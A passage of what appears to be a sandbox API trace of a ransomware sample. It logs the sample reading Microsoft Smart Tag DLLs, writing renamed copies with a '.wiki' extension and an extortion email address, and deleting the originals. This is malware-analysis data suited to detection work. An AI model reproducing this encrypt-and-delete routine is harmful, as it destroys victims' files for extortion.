Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.648] lstrlenW (lpString=".doc") returned 4 [0194.648] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.648] lstrlenW (lpString=".docx") returned 5 [0194.648] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0194.648] lstrlenW (lpString=".pdf") returned 4 [0194.648] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.648] lstrlenW (lpString=".xls") returned 4 [0194.648] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.648] lstrlenW (lpString=".xlsx") returned 5 [0194.648] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0194.648] lstrlenW (lpString=".ppt") returned 4 [0194.648] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.648] lstrlenW (lpString=".zip") returned 4 [0194.648] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.648] lstrlenW (lpString=".rar") returned 4 [0194.648] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.648] lstrlenW (lpString=".bz2") returned 4 [0194.648] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.648] lstrlenW (lpString=".7z") returned 3 [0194.648] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.648] lstrlenW (lpString=".dbf") returned 4 [0194.648] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.648] lstrlenW (lpString=".1cd") returned 4 [0194.649] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.649] lstrlenW (lpString=".jpg") returned 4 [0194.649] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.649] lstrlenW (lpString=".doc") returned 4 [0194.649] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.649] lstrlenW (lpString=".docx") returned 5 [0194.649] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0194.649] lstrlenW (lpString=".pdf") returned 4 [0194.649] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.649] lstrlenW (lpString=".xls") returned 4 [0194.649] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.649] lstrlenW (lpString=".xlsx") returned 5 [0194.649] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0194.649] lstrlenW (lpString=".ppt") returned 4 [0194.649] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.649] lstrlenW (lpString=".zip") returned 4 [0194.649] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.649] lstrlenW (lpString=".rar") returned 4 [0194.649] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.649] lstrlenW (lpString=".bz2") returned 4 [0194.649] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.649] lstrlenW (lpString=".7z") returned 3 [0194.649] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.649] lstrlenW (lpString=".dbf") returned 4 [0194.649] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.650] lstrlenW (lpString=".1cd") returned 4 [0194.650] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0194.650] lstrlenW (lpString=".jpg") returned 4 [0194.650] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.650] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.650] lstrlenW (lpString="FPLACE.DLL") returned 10 [0194.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.650] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=181120) returned 1 [0194.650] CloseHandle (hObject=0x218) returned 1 [0194.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0194.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.651] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.651] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.651] GetLastError () returned 0x0 [0194.651] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x2c380, lpOverlapped=0x0) returned 1 [0194.692] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x2c390, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x2c390, lpOverlapped=0x0) returned 1 [0194.695] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.695] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0194.695] SetEndOfFile (hFile=0x1d0) returned 1 [0194.695] CloseHandle (hObject=0x1d0) returned 1 [0194.695] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.695] SetEndOfFile (hFile=0x218) returned 1 [0194.825] CloseHandle (hObject=0x218) returned 1 [0194.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.825] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 1 [0194.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.825] lstrlenW (lpString=".doc") returned 4 [0194.825] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.825] lstrlenW (lpString=".docx") returned 5 [0194.825] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0194.825] lstrlenW (lpString=".pdf") returned 4 [0194.826] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.826] lstrlenW (lpString=".xls") returned 4 [0194.826] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.826] lstrlenW (lpString=".xlsx") returned 5 [0194.826] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0194.826] lstrlenW (lpString=".ppt") returned 4 [0194.826] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.826] lstrlenW (lpString=".zip") returned 4 [0194.826] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.826] lstrlenW (lpString=".rar") returned 4 [0194.826] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.826] lstrlenW (lpString=".bz2") returned 4 [0194.826] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.826] lstrlenW (lpString=".7z") returned 3 [0194.826] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.826] lstrlenW (lpString=".dbf") returned 4 [0194.826] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.826] lstrlenW (lpString=".1cd") returned 4 [0194.826] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.826] lstrlenW (lpString=".jpg") returned 4 [0194.826] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.826] lstrlenW (lpString=".doc") returned 4 [0194.826] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.826] lstrlenW (lpString=".docx") returned 5 [0194.827] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0194.827] lstrlenW (lpString=".pdf") returned 4 [0194.827] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.827] lstrlenW (lpString=".xls") returned 4 [0194.827] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.827] lstrlenW (lpString=".xlsx") returned 5 [0194.827] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0194.827] lstrlenW (lpString=".ppt") returned 4 [0194.827] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.827] lstrlenW (lpString=".zip") returned 4 [0194.827] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.827] lstrlenW (lpString=".rar") returned 4 [0194.827] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.827] lstrlenW (lpString=".bz2") returned 4 [0194.827] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.827] lstrlenW (lpString=".7z") returned 3 [0194.827] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.827] lstrlenW (lpString=".dbf") returned 4 [0194.827] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.827] lstrlenW (lpString=".1cd") returned 4 [0194.827] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0194.827] lstrlenW (lpString=".jpg") returned 4 [0194.827] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.827] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.827] lstrlenW (lpString="IETAG.DLL") returned 9 [0194.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.828] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=234880) returned 1 [0194.828] CloseHandle (hObject=0x218) returned 1 [0194.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0194.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.828] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.828] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0194.829] GetLastError () returned 0x0 [0194.829] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x39580, lpOverlapped=0x0) returned 1 [0194.874] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x39590, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x39590, lpOverlapped=0x0) returned 1 [0194.878] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.878] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0194.878] SetEndOfFile (hFile=0x1e4) returned 1 [0194.878] CloseHandle (hObject=0x1e4) returned 1 [0194.878] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.878] SetEndOfFile (hFile=0x218) returned 1 [0194.880] CloseHandle (hObject=0x218) returned 1 [0194.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 1 [0194.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.881] lstrlenW (lpString=".doc") returned 4 [0194.881] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.881] lstrlenW (lpString=".docx") returned 5 [0194.881] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0194.881] lstrlenW (lpString=".pdf") returned 4 [0194.881] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.881] lstrlenW (lpString=".xls") returned 4 [0194.881] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.881] lstrlenW (lpString=".xlsx") returned 5 [0194.881] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0194.881] lstrlenW (lpString=".ppt") returned 4 [0194.881] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.881] lstrlenW (lpString=".zip") returned 4 [0194.881] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.881] lstrlenW (lpString=".rar") returned 4 [0194.881] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.881] lstrlenW (lpString=".bz2") returned 4 [0194.881] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.881] lstrlenW (lpString=".7z") returned 3 [0194.881] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.881] lstrlenW (lpString=".dbf") returned 4 [0194.881] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.881] lstrlenW (lpString=".1cd") returned 4 [0194.881] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.881] lstrlenW (lpString=".jpg") returned 4 [0194.881] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.882] lstrlenW (lpString=".doc") returned 4 [0194.882] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.882] lstrlenW (lpString=".docx") returned 5 [0194.882] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0194.882] lstrlenW (lpString=".pdf") returned 4 [0194.882] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.882] lstrlenW (lpString=".xls") returned 4 [0194.882] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.882] lstrlenW (lpString=".xlsx") returned 5 [0194.882] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0194.882] lstrlenW (lpString=".ppt") returned 4 [0194.882] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.882] lstrlenW (lpString=".zip") returned 4 [0194.882] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.882] lstrlenW (lpString=".rar") returned 4 [0194.882] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.882] lstrlenW (lpString=".bz2") returned 4 [0194.882] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.882] lstrlenW (lpString=".7z") returned 3 [0194.882] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.882] lstrlenW (lpString=".dbf") returned 4 [0194.882] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.882] lstrlenW (lpString=".1cd") returned 4 [0194.882] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0194.882] lstrlenW (lpString=".jpg") returned 4 [0194.883] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.883] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.883] lstrlenW (lpString="METCONV.DLL") returned 11 [0194.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.883] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=110976) returned 1 [0194.883] CloseHandle (hObject=0x218) returned 1 [0194.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 0x20 [0194.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0194.884] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.884] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0194.884] GetLastError () returned 0x0 [0194.884] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x1b180, lpOverlapped=0x0) returned 1 [0194.932] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x1b190, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x1b190, lpOverlapped=0x0) returned 1 [0194.934] ReadFile (in: hFile=0x218, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.934] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0194.934] SetEndOfFile (hFile=0x1e4) returned 1 [0194.935] CloseHandle (hObject=0x1e4) returned 1 [0194.935] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.935] SetEndOfFile (hFile=0x218) returned 1 [0194.936] CloseHandle (hObject=0x218) returned 1 [0194.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.936] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 1 [0194.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0194.937] lstrlenW (lpString=".doc") returned 4 [0194.937] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.937] lstrlenW (lpString=".docx") returned 5 [0194.937] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0194.937] lstrlenW (lpString=".pdf") returned 4 [0194.937] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.937] lstrlenW (lpString=".xls") returned 4 [0194.937] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.937] lstrlenW (lpString=".xlsx") returned 5 [0194.937] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0194.937] lstrlenW (lpString=".ppt") returned 4 [0194.937] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 